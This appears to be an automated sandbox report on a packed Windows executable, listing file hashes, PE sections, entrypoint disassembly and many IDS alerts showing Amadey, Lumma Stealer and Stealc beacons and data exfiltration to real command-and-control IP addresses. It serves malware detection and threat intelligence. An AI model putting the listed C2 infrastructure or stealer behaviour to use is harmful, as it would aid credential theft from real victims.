Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.i...9................................................................................................................................................................................................................................................................................................................................................"........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949014400197325
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'908'224 bytes
MD5:	ffc4509537ae91b049189c9f7bc777e0
SHA1:	d07824e044eaea5c875d4c234eccdcfb46676720
SHA256:	73dedcc630ebd68669c7ee7befac513271f3a06b39ba6e20f4a4cb585ea726ad
SHA512:	61a8271bc25878faa2a012ab7fd1dc60043db8a8bbcf2b16cb396d6ce21732b83f44bbd64eeca887c2227409c3b52683123681803687a3faf6d6677089ed784f
SSDEEP:	49152:DKE1DKkbmqi/HJOvnpW98yK/hol3CHNtZy:mE1DV0ov098Rpo9CHw
TLSH:	0395332F1EDB2FB7C6A8663603AE45437B6BA81152BE21D01ADCCBF6411480E5FD172D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8be000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F1570D0920Ah
paddb mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F1570D0B205h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x448	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4bbc3c	0x10	zivsockk
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4bbbec	0x18	zivsockk
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	0ea68551a993889a179f5055ae8952b3	False	0.9982810371253406	data	7.987156431545061	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x448	0x400	3b7102e27ad1f7f9bb98a766711a91cb	False	0.490234375	data	4.186247993835902	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2b1000	0x200	92e56e02d919b079d65c516040e514e0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zivsockk	0x31c000	0x1a1000	0x1a0200	75fc2b0075d0dbb0417e210463bf0f9f	False	0.9942743926479424	data	7.953468935813055	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
luuuhjnn	0x4bd000	0x1000	0x400	cda43fec37dcd4ce694be01d00c5dfe0	False	0.8271484375	data	6.3190307426085655	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4be000	0x3000	0x2200	1e88ad157ed1d18989981044734300b9	False	0.057904411764705885	DOS executable (COM)	0.7175568266415677	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4bbc4c	0x256	ASCII text, with CRLF line terminators			0.5100334448160535
RT_MANIFEST	0x4bbea2	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-18T21:04:04.928574+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49768	185.215.113.43	80	TCP
2024-11-18T21:04:08.328214+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49786	185.215.113.16	80	TCP
2024-11-18T21:04:11.742721+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49780	TCP
2024-11-18T21:04:12.887298+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49811	185.215.113.43	80	TCP
2024-11-18T21:04:13.864827+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49817	188.114.96.3	443	TCP
2024-11-18T21:04:14.168753+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49818	185.215.113.16	80	TCP
2024-11-18T21:04:14.431223+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49817	188.114.96.3	443	TCP
2024-11-18T21:04:14.431223+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49817	188.114.96.3	443	TCP
2024-11-18T21:04:15.638126+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49824	188.114.96.3	443	TCP
2024-11-18T21:04:16.418946+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49824	188.114.96.3	443	TCP
2024-11-18T21:04:16.418946+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49824	188.114.96.3	443	TCP
2024-11-18T21:04:17.701621+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49833	188.114.96.3	443	TCP
2024-11-18T21:04:18.526436+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49833	188.114.96.3	443	TCP
2024-11-18T21:04:19.998081+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49844	188.114.96.3	443	TCP
2024-11-18T21:04:20.920106+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49846	185.215.113.43	80	TCP
2024-11-18T21:04:21.207355+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49845	185.215.113.206	80	TCP
2024-11-18T21:04:21.486310+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49845	185.215.113.206	80	TCP
2024-11-18T21:04:21.498436+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49845	TCP
2024-11-18T21:04:21.749656+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49854	188.114.96.3	443	TCP
2024-11-18T21:04:21.771244+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49845	185.215.113.206	80	TCP
2024-11-18T21:04:21.782820+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49845	TCP
2024-11-18T21:04:21.837403+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49853	185.215.113.16	80	TCP
2024-11-18T21:04:23.480023+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49845	185.215.113.206	80	TCP
2024-11-18T21:04:24.076425+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49845	185.215.113.206	80	TCP
2024-11-18T21:04:24.737693+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49874	188.114.96.3	443	TCP
2024-11-18T21:04:25.246869+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49875	188.114.96.3	443	TCP
2024-11-18T21:04:26.119809+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49875	188.114.96.3	443	TCP
2024-11-18T21:04:26.119809+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49875	188.114.96.3	443	TCP
2024-11-18T21:04:26.178828+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49881	185.215.113.43	80	TCP
2024-11-18T21:04:27.167545+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49886	185.215.113.16	80	TCP
2024-11-18T21:04:27.847739+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49899	188.114.96.3	443	TCP
2024-11-18T21:04:27.913783+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49900	188.114.96.3	443	TCP
2024-11-18T21:04:28.044470+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49900	188.114.96.3	443	TCP
2024-11-18T21:04:28.547784+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49899	188.114.96.3	443	TCP
2024-11-18T21:04:28.547784+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49899	188.114.96.3	443	TCP
2024-11-18T21:04:29.872441+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49915	188.114.96.3	443	TCP
2024-11-18T21:04:31.855564+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49929	188.114.96.3	443	TCP
2024-11-18T21:04:33.056067+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49935	185.215.113.43	80	TCP
2024-11-18T21:04:33.964919+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49942	31.41.244.11	80	TCP
2024-11-18T21:04:34.491388+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49946	188.114.96.3	443	TCP
2024-11-18T21:04:34.509865+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49949	188.114.96.3	443	TCP
2024-11-18T21:04:35.434562+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49949	188.114.96.3	443	TCP
2024-11-18T21:04:36.373686+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49958	185.215.113.16	80	TCP
2024-11-18T21:04:38.752011+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49979	185.215.113.43	80	TCP
2024-11-18T21:04:38.854428+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49983	188.114.96.3	443	TCP
2024-11-18T21:04:40.975067+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50000	188.114.96.3	443	TCP
2024-11-18T21:04:40.989745+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50000	188.114.96.3	443	TCP
2024-11-18T21:04:43.654162+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50016	188.114.96.3	443	TCP
2024-11-18T21:04:44.163934+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50016	188.114.96.3	443	TCP
2024-11-18T21:04:45.307363+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50024	185.215.113.16	80	TCP
2024-11-18T21:05:01.861458+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50102	188.114.96.3	443	TCP
2024-11-18T21:05:02.721074+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50102	188.114.96.3	443	TCP
2024-11-18T21:05:02.721074+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50102	188.114.96.3	443	TCP
2024-11-18T21:05:03.035671+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50105	185.215.113.206	80	TCP
2024-11-18T21:05:04.781829+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50131	188.114.96.3	443	TCP
2024-11-18T21:05:05.327195+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50131	188.114.96.3	443	TCP
2024-11-18T21:05:05.327195+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50131	188.114.96.3	443	TCP
2024-11-18T21:05:06.009258+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50146	188.114.96.3	443	TCP
2024-11-18T21:05:06.396627+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50146	188.114.96.3	443	TCP
2024-11-18T21:05:06.396627+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50146	188.114.96.3	443	TCP
2024-11-18T21:05:07.298381+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50147	188.114.96.3	443	TCP
2024-11-18T21:05:07.810717+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50147	188.114.96.3	443	TCP
2024-11-18T21:05:07.810717+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50147	188.114.96.3	443	TCP
2024-11-18T21:05:11.355643+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50151	188.114.96.3	443	TCP
2024-11-18T21:05:12.770331+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50153	188.114.96.3	443	TCP
2024-11-18T21:05:14.827569+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50154	188.114.96.3	443	TCP
2024-11-18T21:05:16.377936+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50157	188.114.96.3	443	TCP
2024-11-18T21:05:16.392403+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50156	188.114.96.3	443	TCP
2024-11-18T21:05:16.781855+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50157	188.114.96.3	443	TCP
2024-11-18T21:05:17.854398+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50159	188.114.96.3	443	TCP
2024-11-18T21:05:17.944228+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50160	188.114.96.3	443	TCP
2024-11-18T21:05:19.271932+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50161	188.114.96.3	443	TCP
2024-11-18T21:05:19.906127+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50163	188.114.96.3	443	TCP
2024-11-18T21:05:21.010944+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50166	188.114.96.3	443	TCP
2024-11-18T21:05:23.129917+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50170	188.114.96.3	443	TCP
2024-11-18T21:05:24.856253+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50173	188.114.96.3	443	TCP
2024-11-18T21:05:25.280080+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50173	188.114.96.3	443	TCP
2024-11-18T21:05:26.214844+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50174	185.215.113.16	80	TCP
2024-11-18T21:07:51.837466+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50291	52.168.117.169	443	TCP
2024-11-18T21:09:39.801223+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	50353	185.215.113.43	80	TCP
2024-11-18T21:10:14.874088+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50368	188.114.97.3	443	TCP
2024-11-18T21:10:15.269210+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	50366	TCP
2024-11-18T21:10:15.393720+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50368	188.114.97.3	443	TCP
2024-11-18T21:10:15.393720+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50368	188.114.97.3	443	TCP
2024-11-18T21:10:16.181663+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50369	185.215.113.43	80	TCP
2024-11-18T21:10:16.231947+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50370	188.114.97.3	443	TCP
2024-11-18T21:10:16.813730+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50370	188.114.97.3	443	TCP
2024-11-18T21:10:16.813730+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50370	188.114.97.3	443	TCP
2024-11-18T21:10:17.775281+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50372	188.114.97.3	443	TCP
2024-11-18T21:10:19.027333+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50374	188.114.97.3	443	TCP
2024-11-18T21:10:19.139922+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50373	185.215.113.206	80	TCP
2024-11-18T21:10:19.982165+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50374	188.114.97.3	443	TCP
2024-11-18T21:10:20.317570+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50375	185.215.113.43	80	TCP
2024-11-18T21:10:20.693935+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50376	188.114.97.3	443	TCP
2024-11-18T21:10:22.065839+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50377	188.114.97.3	443	TCP
2024-11-18T21:10:23.311732+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50379	188.114.97.3	443	TCP
2024-11-18T21:10:23.999457+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50379	188.114.97.3	443	TCP
2024-11-18T21:10:24.662683+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50380	188.114.97.3	443	TCP
2024-11-18T21:10:25.192954+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50380	188.114.97.3	443	TCP
2024-11-18T21:10:26.126081+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50382	185.215.113.16	80	TCP
2024-11-18T21:10:27.963534+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50384	188.114.97.3	443	TCP
2024-11-18T21:10:28.587367+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	50381	TCP
2024-11-18T21:10:28.698225+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50384	188.114.97.3	443	TCP
2024-11-18T21:10:28.698225+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50384	188.114.97.3	443	TCP
2024-11-18T21:10:29.498497+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50385	185.215.113.43	80	TCP
2024-11-18T21:10:29.649265+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50386	188.114.97.3	443	TCP
2024-11-18T21:10:30.032750+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50386	188.114.97.3	443	TCP
2024-11-18T21:10:30.032750+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50386	188.114.97.3	443	TCP
2024-11-18T21:10:30.828466+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50388	188.114.97.3	443	TCP
2024-11-18T21:10:32.312027+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50407	188.114.97.3	443	TCP
2024-11-18T21:10:33.743258+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50418	188.114.97.3	443	TCP
2024-11-18T21:10:34.144215+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50419	185.215.113.43	80	TCP
2024-11-18T21:10:35.193080+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50420	188.114.97.3	443	TCP
2024-11-18T21:10:36.866611+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50422	188.114.97.3	443	TCP
2024-11-18T21:10:36.870398+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50422	188.114.97.3	443	TCP
2024-11-18T21:10:38.431464+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50424	188.114.97.3	443	TCP
2024-11-18T21:10:39.084476+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50424	188.114.97.3	443	TCP
2024-11-18T21:10:40.003818+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50426	185.215.113.16	80	TCP
2024-11-18T21:11:00.966751+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50437	188.114.97.3	443	TCP
2024-11-18T21:11:01.394677+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50437	188.114.97.3	443	TCP
2024-11-18T21:11:01.394677+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50437	188.114.97.3	443	TCP
2024-11-18T21:11:02.106286+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50439	188.114.97.3	443	TCP
2024-11-18T21:11:02.535816+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50439	188.114.97.3	443	TCP
2024-11-18T21:11:02.535816+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50439	188.114.97.3	443	TCP
2024-11-18T21:11:03.344130+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50440	188.114.97.3	443	TCP
2024-11-18T21:11:04.779574+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50442	188.114.97.3	443	TCP
2024-11-18T21:11:06.192957+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50443	188.114.97.3	443	TCP
2024-11-18T21:11:07.656562+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50445	188.114.97.3	443	TCP
2024-11-18T21:11:08.234541+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50445	188.114.97.3	443	TCP
2024-11-18T21:11:09.198783+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50447	188.114.97.3	443	TCP
2024-11-18T21:11:09.549882+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50446	185.215.113.206	80	TCP
2024-11-18T21:11:10.150883+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50447	188.114.97.3	443	TCP
2024-11-18T21:11:10.833097+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50450	188.114.97.3	443	TCP
2024-11-18T21:11:11.376420+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50450	188.114.97.3	443	TCP
2024-11-18T21:11:12.329060+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50451	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 21:03:06.375333071 CET	49675	443	192.168.2.4	173.222.162.32
Nov 18, 2024 21:03:19.346103907 CET	49730	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:19.346196890 CET	443	49730	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:19.346302032 CET	49730	443	192.168.2.4	52.149.20.212
